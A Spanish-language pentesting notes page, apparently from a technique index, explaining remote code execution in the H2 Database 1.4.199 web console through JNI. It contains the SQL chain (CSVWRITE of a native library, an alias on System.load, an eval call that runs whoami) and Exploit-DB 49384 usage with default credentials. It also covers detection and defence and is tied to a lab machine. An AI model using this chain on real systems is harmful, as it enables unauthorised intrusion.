the_open_door
café
ESEN
← Volver al índice

H2 Database RCE via JNI

La H2 Database Engine es una base de datos Java embebida muy usada en desarrollo. Su consola web (habitualmente en el puerto 8082) permite abrir conexiones JDBC arbitrarias y ejecutar SQL. Si llegamos a una sesión autenticada (a menudo con las credenciales por defecto sa sin contraseña), la versión 1.4.199 arrastra un vector de ejecución de comandos a través de JNI (Java Native Interface).

La técnica encadena tres sentencias SQL. Primero CSVWRITE escribe en disco una librería nativa cuyos bytes vienen incrustados como caracteres en el propio SQL (un .dll en Windows, un .so en Linux). Después se define un alias sobre java.lang.System.load para cargar esa librería, y por último un alias sobre el método eval que la librería expone, que evalúa Java arbitrario:

SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', CHAR(0x4d),CHAR(0x5a), ... ,'"'), 'ISO-8859-1', '', '', '', '', '');
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\Z").next()');

El último CALL invoca Runtime.exec y devuelve la salida del comando dentro de la propia consola, lo que basta para descargar y ejecutar una reverse shell. El proceso corre con la cuenta del servicio H2.

El exploit público de referencia es Exploit-DB 49384, que ya trae la librería serializada en el CSVWRITE.

searchsploit -m 49384
python3 49384.py <ip> 8082    # consola en http://<ip>:8082, JDBC jdbc:h2:mem:test, user sa sin pass

Matiz. Depende de poder definir alias sobre métodos Java (CREATE ALIAS), algo que H2 permite por diseño para extender el motor; en despliegues que restringen esa capacidad o que actualizan la versión el vector se cae. La consola en sí no debería estar expuesta a la red.

Cómo detectarlo. La firma en el SQL (traza de H2, o proxy delante de la consola del 8082) es inconfundible: CSVWRITE(...) escribiendo a una ruta de sistema (\Temp\*.dll, /tmp/*.so), CREATE ALIAS ... FOR "java.lang.System.load" y CALL ...eval(...), sentencias que ninguna aplicación legítima emite. En la red, acceso a la consola del 8082 desde una IP externa (o con sa sin contraseña) es ya la exposición. En el host, el proceso java de H2 escribiendo un .dll/.so y lanzando cmd/whoami/sh como hijo confirma la ejecución (auditd/Sysmon: creación de la librería nativa + execve/Process Create con ppid=java).

Defensa. No exponer la consola de H2 fuera de localhost, cambiar las credenciales por defecto, actualizar el motor y, si es posible, deshabilitar la creación de alias y la escritura a disco. Relacionado con el xp_cmdshell de MSSQL (base de datos que ejecuta comandos del sistema) y con la escritura de ficheros vía SQL.

Máquinas donde se aplica

  • JackoProving Grounds Practice